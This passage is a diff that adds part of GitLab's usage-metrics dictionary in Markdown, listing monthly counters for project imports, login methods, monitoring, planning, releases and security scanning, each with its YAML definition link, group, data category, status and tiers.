+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183653_gitea.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.github`
+
+Count of projects imported from GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183648_github.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.gitlab`
+
+Count of projects imported from GitLab using Project Export/Import
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183646_gitlab.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_migration`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183659_gitlab_migration.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_project`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183644_gitlab_project.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.manifest`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183657_manifest.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.total`
+
+Total count of projects imported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210520111133_total.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket`
+
+Count of projects imported from Bitbucket
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183720_bitbucket.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket_server`
+
+Count of projects imported from Bitbucket Server
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183722_bitbucket_server.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.git`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183726_git.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.gitea`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183724_gitea.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.github`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183718_github.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.gitlab`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183716_gitlab.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.gitlab_project`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183714_gitlab_project.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.manifest`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183728_manifest.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_imported.total`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183712_total.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.projects_with_compliance_framework`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180825_projects_with_compliance_framework.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage_monthly.manage.unique_users_all_imports`
+
+Number of users from projects imported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.google_oauth2`
+
+Number of unique user logins using Google OAuth authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183636_google_oauth2.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.standard`
+
+Number of unique user logins using password authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183634_standard.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor`
+
+Number of unique user logins using two factor authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183629_two-factor.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-u2f-device`
+
+Number of unique user logins using two factor via a U2F device
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-webauthn-device`
+
+Number of unique user logins using two factor via a WebAuthn device
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.users_created`
+
+Number of users created in the month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180818_users_created.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.value_stream_management_customized_group_stages`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180824_value_stream_management_customized_group_stages.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage_monthly.monitor.clusters`
+
+Count users creating clusters in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180956_clusters.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.clusters_applications_prometheus`
+
+Users creating clusters with Prometheus enabled in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.operations_dashboard_default_dashboard`
+
+Active users with enabled operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.operations_dashboard_users_with_projects_added`
+
+Active users with projects on operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.projects_incident_sla_enabled`
+
+Count of projects with Incident SLA enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183753_projects_incident_sla_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.projects_with_alert_incidents`
+
+Count of unique projects with an incident from an alert created in the last month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.projects_with_error_tracking_enabled`
+
+Count of users creating projects with error tracking enabled.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.projects_with_incidents`
+
+Count of unique projects with an incident created in the last month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.monitor.projects_with_tracing_enabled`
+
+Projects with tracing enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.package.projects_with_packages`
+
+The total number of projects in a given month with at least one package
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181057_projects_with_packages.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.assignee_lists`
+
+Count of MAU creating assignee lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181156_assignee_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.epics`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181158_epics.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.issues`
+
+Count of users creating Issues in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181139_issues.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.label_lists`
+
+Count of MAU creating label lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181200_label_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.milestone_lists`
+
+Count of MAU created milestone lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181201_milestone_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.notes`
+
+Count of MAU commenting on an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181141_notes.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.projects`
+
+Count of MAU creating projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181143_projects.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.plan.projects_jira_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181150_projects_jira_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.projects_jira_dvcs_cloud_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.projects_jira_dvcs_server_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.service_desk_enabled_projects`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.service_desk_issues`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181148_service_desk_issues.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.plan.todos`
+
+Count of MAU creating todos
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181145_todos.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.release.deployments`
+
+Unique users triggering deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181935_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.release.failed_deployments`
+
+Total failed deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181937_failed_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.release.projects_mirrored_with_pipelines_enabled`
+
+Count creator_id from projects with repository mirroring enabled.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181943_projects_mirrored_with_pipelines_enabled.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.release.releases`
+
+Unique users creating release tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181939_releases.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.release.successful_deployments`
+
+Total successful deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181941_successful_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.api_fuzzing_pipeline`
+
+Counts of Pipelines that have at least 1 API Fuzzing Testing job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180401_api_fuzzing_pipeline.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.api_fuzzing_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.cluster_image_scanning_pipeline`
+
+Pipelines containing a Cluster Image Scanning job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210618125224_cluster_image_scanning_pipeline.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.cluster_image_scanning_scans`
+
+Counts cluster image scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210618101233_cluster_image_scanning_scans.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.container_scanning_pipeline`
+
+Pipelines containing a Container Scanning job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175507_container_scanning_pipeline.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.container_scanning_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183830_container_scanning_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.coverage_fuzzing_pipeline`
+
+Counts of Pipelines that have at least 1 coverage-guided Fuzz Testing job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180359_coverage_fuzzing_pipeline.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.coverage_fuzzing_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.dast_pipeline`
+
+Count of pipelines that have at least 1 DAST job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175618_dast_pipeline.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.dast_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183832_dast_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.dependency_scanning_pipeline`
+
+Count of pipelines with successful Dependency Scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175226_dependency_scanning_pipeline.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.dependency_scanning_scans`
+
+Monthly number of users running Dependency Scanning Scans
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.sast_pipeline`
+
+Counts of Pipelines that have at least 1 SAST job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182129_sast_pipeline.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.sast_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183826_sast_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.secret_detection_pipeline`
+
+Counts of Pipelines that have at least 1 Secret Detection job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.secret_detection_scans`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183834_secret_detection_scans.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.user_api_fuzzing_dnd_jobs`
+
+Count of API Fuzzing `docker-in-docker` jobs by job names
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.user_api_fuzzing_jobs`
+
+Count of API Fuzzing jobs by job name
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.user_api_fuzzing_scans`
+
+Number of users who have run a API Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043622_user_api_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_container_scanning_jobs`
+
+Distinct count per user of Container Scanning jobs run monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175505_user_container_scanning_jobs.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_container_scanning_scans`
+
+Number of users who have run a Container Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043336_user_container_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_coverage_fuzzing_jobs`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.user_coverage_fuzzing_scans`
+
+Number of users who have run a Coverage Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043509_user_coverage_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_dast_jobs`
+
+Users who run a DAST job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175616_user_dast_jobs.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.secure.user_dast_scans`
+
+Number of users who have run a DAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607041718_user_dast_scans.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_jobs`
+
+Monthly number of users creating Dependency Scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175222_user_dependency_scanning_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_scans`
+
+Number of users who have run a Dependency Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043301_user_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_license_management_jobs`
+
+Monthly number of users running License Scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175224_user_license_management_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_preferences_group_overview_security_dashboard`
+
+Users who set personal preference to see Security Dashboard on Group information page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml)
+
+Group: `group::threat insights`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_sast_jobs`
+
+Users who run a SAST job
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182125_user_sast_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_sast_scans`
+
+Number of users who have run a SAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043218_user_sast_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_secret_detection_jobs`
+
+Users who run a Secret Detection job
+
